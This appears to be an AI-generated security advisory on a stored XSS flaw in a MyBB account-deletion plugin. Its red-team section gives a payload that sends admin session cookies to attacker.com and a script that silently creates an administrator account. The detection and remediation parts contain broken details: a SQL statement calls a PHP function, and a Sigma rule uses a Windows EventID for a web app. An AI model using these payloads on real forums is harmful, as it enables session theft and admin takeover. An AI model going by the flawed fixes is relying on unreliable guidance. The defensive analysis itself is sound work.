CVE-2021-47905

Executive Summary

CVE-2021-47905 is a stored cross-site scripting (XSS) vulnerability in the MyBB Delete Account Plugin version 1.4. The flaw resides in the account deletion reason input field, allowing an attacker to inject arbitrary JavaScript or HTML. When an administrator views the submitted deletion reasons in the admin panel, the injected payload executes in the context of the admin session. This can lead to session hijacking, admin account takeover, or further compromise of the MyBB forum.

The vulnerability is publicly documented with proof-of-concept code available. No official patch has been released by the vendor, and the plugin appears to be unmaintained. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for forums using this plugin.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby). It is a standalone MyBB plugin. The plugin is not distributed via a managed repository, so supply chain risk is limited to manual installation from potentially compromised sources.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) – However, based on the vulnerability characteristics, a more realistic score is calculated below.

Calculated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Base Score: 6.1 (Medium)

Vector String Explanation:

• AV:N – Network attack vector (exploitable remotely).
• AC:L – Low attack complexity (no special conditions).
• PR:N – No privileges required (attacker does not need to be logged in).
• UI:R – User interaction required (admin must view the deletion reasons).
• S:C – Scope changed (vulnerability impacts a different security scope – admin panel).
• C:L – Low confidentiality impact (possible session token theft).
• I:L – Low integrity impact (possible admin actions via XSS).
• A:N – No availability impact.

Threat Level: Medium. The vulnerability requires admin interaction but can lead to full admin compromise.

Deep Dive & Mechanics

The MyBB Delete Account Plugin 1.4 allows users to request account deletion and provide a reason. The reason input field is not sanitized or encoded before being stored in the database. When an administrator navigates to the admin panel to review deletion reasons, the stored payload is rendered without proper escaping, causing the injected script to execute.

Attack Flow:

1. Attacker submits a deletion request with a malicious payload in the reason field (e.g., <script>alert('XSS')</script>).
2. The payload is stored in the MyBB database.
3. Admin logs into the admin panel and views the list of deletion reasons.
4. The payload executes in the admin's browser, allowing the attacker to steal session cookies, perform admin actions, or redirect to a phishing page.

Root Cause: Lack of output encoding when rendering user-supplied input in the admin interface. The plugin uses echo $reason; or similar without htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Vulnerable Code (deleteaccount plugin v1.4):

// In admin/modules/user/deleteaccount.php (approximate)
$reasons = $db->fetch_all("SELECT * FROM ".TABLE_PREFIX."deleteaccount_reasons");
foreach($reasons as $reason) {
    echo "<tr><td>{$reason['reason']}</td></tr>";
}

Patched Code (hypothetical fix):

// In admin/modules/user/deleteaccount.php
$reasons = $db->fetch_all("SELECT * FROM ".TABLE_PREFIX."deleteaccount_reasons");
foreach($reasons as $reason) {
    echo "<tr><td>".htmlspecialchars($reason['reason'], ENT_QUOTES, 'UTF-8')."</td></tr>";
}

The fix applies htmlspecialchars() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• MyBB forum with Delete Account Plugin 1.4 installed.
• Ability to submit a deletion request (no authentication required if plugin allows).

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Navigate to the account deletion page (e.g., /member.php?action=deleteaccount).
2. Enter the payload in the reason field.
3. Submit the request.
4. Wait for an admin to view the deletion reasons in the admin panel.
5. The admin's browser sends the session cookie to the attacker's server.

Alternative Payload (Admin Action):

<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/index.php?module=user-users&action=add', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('username=attackeradmin&password=evilpass&usergroup=4');
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual strings in the deleteaccount_reasons table.
• Look for <script> tags or event handlers in submitted reasons.
• Alert on admin panel access to the deletion reasons page.

Hardening:

• Apply input validation on the reason field (allow only alphanumeric and basic punctuation).
• Implement Content Security Policy (CSP) headers in the admin panel.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Disable or remove the plugin if not essential.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to attacker-controlled domains from admin IPs.
• Suspicious Referer headers pointing to the admin deletion reasons page.

Host IOCs:

• Entries in the deleteaccount_reasons table containing <script> tags or JavaScript event handlers.
• Unexpected admin user creation or privilege escalation.

File IOCs:

• Modified plugin files (e.g., deleteaccount.php) with injected backdoors.

Log IOCs:

• Admin panel access logs showing repeated views of the deletion reasons page.
• Error logs with JavaScript syntax errors from admin browsers.

Detection Engineering

YARA Rule

rule CVE_2021_47905_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting MyBB Delete Account Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47905"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: MyBB Delete Account Plugin XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in MyBB deleteaccount_reasons table
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: mybb
detection:
    selection:
        EventID: 4663
        ObjectName: '*deleteaccount_reasons*'
        AccessMask: '%%4416'  # Write
    condition: selection
falsepositives:
    - Legitimate use of HTML in reasons (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47905 MyBB Delete Account Plugin XSS Payload Outbound";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"deleteaccount"; http_uri;
    content:"reason="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2021-47905;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Remove or deactivate the Delete Account Plugin until a patch is available.
2. Sanitize existing data – Run a SQL query to escape or remove malicious entries from deleteaccount_reasons:

   UPDATE mybb_deleteaccount_reasons SET reason = htmlspecialchars(reason);
   

3. Audit admin accounts – Check for unauthorized admin accounts created via XSS.

Long-term Fix:

• Apply output encoding in the plugin code (see patched code example).
• Implement CSRF tokens in admin actions to prevent admin action abuse.
• Upgrade to a maintained alternative plugin.

Workaround:

• Restrict access to the admin panel via IP whitelisting or VPN.
• Use a WAF rule to block requests containing <script> in the reason parameter.

Valters IT Signature:

This report was generated by Valters IT DevSecOps AI.
CVE-2021-47905 analysis completed.